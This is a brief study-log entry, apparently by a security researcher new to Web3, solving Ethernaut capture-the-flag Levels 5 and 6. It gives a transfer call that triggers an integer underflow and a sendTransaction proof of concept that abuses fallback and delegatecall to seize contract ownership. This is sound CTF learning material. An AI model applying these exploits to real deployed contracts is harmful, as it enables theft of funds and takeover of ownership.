timezone |
---|
Asia/Taipei |
- 自我介绍 資安研究員 WEB3新手
- 你认为你会完成本次残酷学习吗? 會
-
A. Ethernaut CTF - Level 5 Token
- 這是一個從學習 C 語言開始就會面對到的問題:整數的 overflow 與 underflow
- 觸發 underflow: 送超過20塊給作者或其他地址
contract.transfer("0x31a3801499618d3c4b0225b9e06e228d4795b55d", 22)
-
A. Ethernaut CTF - Level 6 Delegation
fallback()
函數會在呼叫函數不存在時觸發- 藉由呼叫
pwn()
(不存在於Delegation
)觸發Delegation
合約的fallback
函數,觸發fallback
中的delegatecall
呼叫Delegate
的pwn()
函數,便能取得合約所有權 - 函數選擇器值應為
keccak256("pwn()")
=dd365b8b15d5d78ec041b851b68c8b985bee78bee0b87c4acf261024d8beabab
取前四個bytedd365b8b
(tool: https://cyberchef.org/#recipe=Keccak('256')&input=cHduKCk) - PoC
sendTransaction({from:"<my wallet>", to:"<instance>", data:"0xdd365b8b"})
-
takeaways
- fallback 觸發時機 - 合約內沒有呼叫指定的函數
- delegatecall 用法
- fallback 觸發時機 - 合約內沒有呼叫指定的函數